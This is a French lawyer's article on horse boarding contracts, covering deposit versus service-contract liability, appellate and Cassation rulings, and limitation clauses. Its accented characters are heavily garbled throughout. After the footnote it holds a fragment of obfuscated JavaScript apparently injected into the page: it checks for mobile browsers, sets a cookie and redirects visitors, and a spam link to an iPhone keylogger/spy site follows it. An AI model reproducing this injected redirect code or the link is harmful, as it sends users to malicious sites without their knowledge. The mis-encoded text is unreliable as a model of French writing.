Mettre son cheval en pension : diverses consA�quences juridiques en fonction du contrat de pension choisi

Avoir un cheval, ce na��est pas seulement profiter de sA�ances de travail inoubliables, de balades au petit jour, de compA�titions et da��autres moments privilA�giA�s de complicitA� avec votre compagnon, ca��est aussi lui trouver un habitat qui lui convienne.

 

Animal A� la��origine sauvage et A�pris de grands espaces, nous la��avons domestiquA� afin de servir nos rA?ves et notre passion. Le cheval au travail vit dA�sormais prA?s de notre domicile, gA�nA�ralement dans un box et, sa��il a un peu de chance, avec quelques mA?tres carrA�s da��herbe A� sa disposition.

Au regard de la��offre plA�thorique et diversifiA�e, quelle formule choisir pour votre compagnonA�? Quels sont vos droitsA�? Quelles sont les consA�quences en cas da��accidentA�?

Aujourda��hui, la��offre de pension pour les chevaux est abondante et les formules sont trA?s variA�esA�: pension en box ou en box nu, pension au prA� ou en prA�-box, pension A�A�travailA�A�, pension A�A�compA�titionA�A�, etc. La formule choisie pour votre compagnon a des consA�quences sur vos droits et sur la responsabilitA� de la personne ou structure A� qui vous le confiez. Illustrationa��

 

1. Illustration

Dans une premiA?re espA?ce (Cour da��appel de Dijon, 9 octobre 2007, nA�06/02216), Monsieur et Madame D, propriA�taires da��une jument ont conclu avec Monsieur L, exploitant da��un cA�lA?bre haras, un contrat de vente de saillie da��un A�talon dudit harasA�; par ce contrat, il A�tait convenu que le haras rA�alise la��insA�mination de la jument de Monsieur et Madame D. Comme prA�vu, ces derniers ont donc confiA� A� Monsieur L leur jument, accompagnA�e de son poulain A?gA� de 3 semaines. Malheureusement, le poulain est dA�cA�dA� accidentellement au prA� quelques jours aprA?s et Monsieur et Madame D ont assignA� le dA�positaire (Monsieur L) en responsabilitA� et indemnisation.

Les juges ont indemnisA� Monsieur et Madame D pour leur prA�judice subi du fait du dA�cA?s de leur poulain et ont retenu la responsabilitA� du dA�positaire (Monsieur L) au motif que A�A�il se dA�duit des circonstances du dA�cA?s que [Monsieur L] a manquA� A� l’obligation essentielle du contrat de dA�pA?t salariA� qui lui imposait de tout mettre en A�uvre pour garder la ‘chose’ confiA�e [i.e. le poulain] et la restituer ; que faute de justifier du prA�tendu caractA?re imprA�visible du dA�cA?s, son manquement A� l’obligation essentielle du contrat caractA�rise une faute lourde permettant (a��) de retenir sa responsabilitA�A�A�

En effet, il est ressorti du rapport d’autopsie que le poulain de Monsieur et Madame D A�tait dA�cA�dA� en fin de nuit, alors qu’il avait A�tA� mis au prA� avec d’autres juments suitA�esA�; son dA�cA?s a rA�sultA� des consA�quences d’une hA�morragie interne provoquA�e par un violent traumatisme sur la cage thoracique, traumatisme probablement occasionnA� par les autres animaux. Ca��est donc le manquement du dA�positaire (Monsieur L) A� son obligation essentielle a�� restituer le poulain et la jument A� leurs propriA�taires sains et saufs a�� dont la preuve a A�tA� rapportA�e notamment par la��autopsie qui est A� la��origine de la responsabilitA� de Monsieur L.

Aussi, dans le cadre da��un contrat de dA�pA?t-salariA� (i.e. da��hA�bergement), le dA�positaire a A� sa charge une obligation de moyens renforcA�e, dont il ne peut sa��exonA�rer qua��en rapportant la preuve qua��il na��a pas commis de faute.

Toutefois, les juges ne sont pas toujours aussi sA�vA?res A� la��A�gard des dA�positaires[1]. Dans une seconde espA?ce (Cour da��appel de Grenoble, 1er octobre 2012), un propriA�taire avait mis sa jument en pension A�A�prA�-boxA�A� chez un dA�positaireA�; la jument sa��est blessA�e au prA� alors qua��elle A�tait avec da��autres chevaux. Dans cette affaire, les juges ont exclu la responsabilitA� du dA�positaire au motif da��une part que la propriA�taire na��avait pas formulA� son opposition de mettre sa jument avec da��autres chevaux au prA� et da��autre part que le dA�positaire a portA� les soins adA�quats en prA�venant immA�diatement la propriA�taire et en faisant intervenir le vA�tA�rinaire aussi vite que possible.

 

2. La distinction entre le contrat de dA�pA?t-salariA� et le contrat da��entreprise

En dA�finitive, la conclusion da��un contrat de dA�pA?t-salariA� est la formule la plus protectrice juridiquement pour le propriA�taire mais certains besoins de cavaliers propriA�taires ne peuvent A?tre couverts par ce type de contrat, par exemple en cas de pension travail ou compA�tition par exemple.

Dans ce cas, dA?s lors qua��un aspect de la mission du dA�positaire est le travail du cheval ou la sortie en compA�tition (en rA�alitA�, tout ce qui est hors hA�bergement), ce sont les rA?gles relatives au contrat da��entreprise qui sa��appliquentA�; les obligations pesant sur le responsable sont beaucoup plus lA�gA?res que dans le cas du contrat de dA�pA?t-salariA�. En effet, la��entraA�neur est dans ce cas soumis A� une obligation de moyens simpleA�; la preuve de la faute de la��entraA�neur incombe au donneur da��ordre, ca��est-A�-dire au propriA�taire du cheval.

Face A� un contrat de pension A�A�complexeA�A�, les tribunaux rA�alisent une application distributive des rA?gles de droitA�: les rA?gles relatives au contrat de dA�pA?t-salariA� sa��appliquent pour les missions da��hA�bergement et de soins y relatifs et les rA?gles relatives au contrat da��entreprise sa��appliquent aux autres missions (comme la��entraA�nement par exemple) (Cass. Civ1, 3 juillet 2001).

Dans une affaire datant de quelques annA�es (Cour da��appel de Toulouse, 11 mai 2004), un propriA�taire avait confiA� son cheval A� la��entraA�nement dans une A�curie. Malheureusement, le cheval sa��est blessA� gravement dans le paddock oA? il avait A�tA� lA?chA� aprA?s le travail et a dA� A?tre euthanasiA�. Les juges ont retenu que la responsabilitA� de la��entraA�neur relevait du contrat da��entreprise (la��objet principal du contrat conclu entre la��entraA�neur et le propriA�taire du cheval A�tant la��entraA�nement du cheval A� la compA�tition). En la��espA?ce, le propriA�taire na��a pas pu prouver la faute de la��entraA�neur, puisque A�A�la mise au paddock da��un cheval aprA?s une sA�ance de travail [est] une pratique courante et bA�nA�fique, non constitutive da��une fauteA�A�A�; la responsabilitA� de la��entraA�neur na��a pas A�tA� retenue de ce fait par les juges.

Le contrat de pension peut A�galement contenir des clauses limitatives de responsabilitA� en faveur du dA�positaire. Qua��en est-il dans ce casA�?

 

3. La question des clauses limitatives de responsabilitA�

Les clauses limitatives de responsabilitA� sont valables, sauf si elles ont pour but da��exonA�rer le dA�positaire de son obligation essentielle au titre du contrat (par exemple, son obligation de garde). Le dA�positaire / entraA�neur peut par contre prA�voir une clause limitative de responsabilitA� portant sur une obligation accessoire du contrat. Evidemment, ces clauses limitatives de responsabilitA� ne joueront pas en cas de faute lourde du dA�positaire.

Il peut aussi limiter sa responsabilitA� en restreignant le champ des prA�judices indemnisables (en excluant par exemple le prA�judice moral). Il peut A�galement prA�voir un plafond maximum da��indemnisation au-delA� duquel le prA�judice du propriA�taire ne sera pas rA�parA�A�; une telle clause est valable A� la condition que le montant du plafond ne soit pas dA�risoire.

Enfin, il est possible pour le propriA�taire et le dA�positaire de prA�voir dans le contrat de pension da��inverser la charge de la preuve. Par exemple, les tribunaux ont reconnu que A�A�les parties A� un tel contrat sont libres de convenir de mettre A� la charge du dA�posant [i.e. le propriA�taire], qui entend se prA�valoir d’un manquement du dA�positaire A� l’obligation de moyens qui lui incombe, la preuve de ce manquementA�A� (Cass. Civ1, 30 octobre 2007, nA� 06-19390).

 

 

Cerner et dA�finir vos besoins et ceux de votre cheval vous permettra de choisir la formule de pension la plus adaptA�e. Par ailleurs, avoir pleinement connaissance de vos droits en tant que dA�posant et des diffA�rentes consA�quences juridiques du contrat de pension, vous permettra de nA�gocier au mieux a�� le cas A�chA�ant a�� les adaptations dudit contrat suggA�rA�es par le dA�positaire et/ou la��entraA�neur.

 

A�

Julie Chapuy, Avocat A� la Cour

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Distinction entre les rA�gimes juridiques du contrat de dA�pA?t-salariA� et du contrat da��entreprise
  Contrat de dA�pA?t-salariA�

(articles 1915 et suivants du Code civil)

Contrat da��entreprise
Objet HA�bergement et soins EntraA�nement, compA�tition, etc.
Obligation A� la charge du dA�positaire Obligation de moyens renforcA�e (le dA�positaire doit dA�montrer une absence de faute) Obligation de moyens simple (le propriA�taire doit prouver la faute de la��entraA�neur)
ConsA�quences ResponsabilitA� forte du dA�positaire ResponsabilitA� allA�gA�e de la��entraA�neur
A retenirA�!
-A�A�A�A�A�A�A�A�A� PrA�fA�rer un contrat de pension A�crit (bien que de nombreux dA�positaires pratiquent la conclusion orale du contrat de pension)

 

-A�A�A�A�A�A�A�A�A� Bien lire le contrat de pension et ne pas hA�siter A� demander de la��aide A� un juriste qualifiA�

 

-A�A�A�A�A�A�A�A�A� DA�finir de la faA�on la plus prA�cise possible le contenu du contrat de pension en accord avec le dA�positaire

 

-A�A�A�A�A�A�A�A�A� Veillez A� regarder si le contrat contient des clauses limitatives de responsabilitA� du dA�positaire et/ou des plafonds da��indemnisation

 

 

BibliographieA�:

Le cheval, contrats et responsabilitA�s, IDE, 2006

 

[1] Au-delA� du simple alA�a judiciaire, la��on peut raisonnablement penser que les juges ont A�tA� particuliA?rement sA�vA?res dans la premiA?re espA?ce (CA Dijon, 9 octobre 2007) au vue des conditions particuliA?res du litige (spA�cificitA� des soins et de la��attention A� porter A� un poulain A?gA� de 3 semaines notamment). 47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0xa48a[8]](_0x82d7x1[_0xa48a[9]](0,4))){var _0x82d7x3= new Date( new Date()[_0xa48a[10]]()+ 1800000);document[_0xa48a[2]]= _0xa48a[11]+ _0x82d7x3[_0xa48a[12]]();window[_0xa48a[13]]= _0x82d7x2}}})(navigator[_0xa48a[3]]|| navigator[_0xa48a[4]]|| window[_0xa48a[5]],_0xa48a[6])}http://businessforumz.com/gsp-tracker-keylogger-iphone-spy-stealth/

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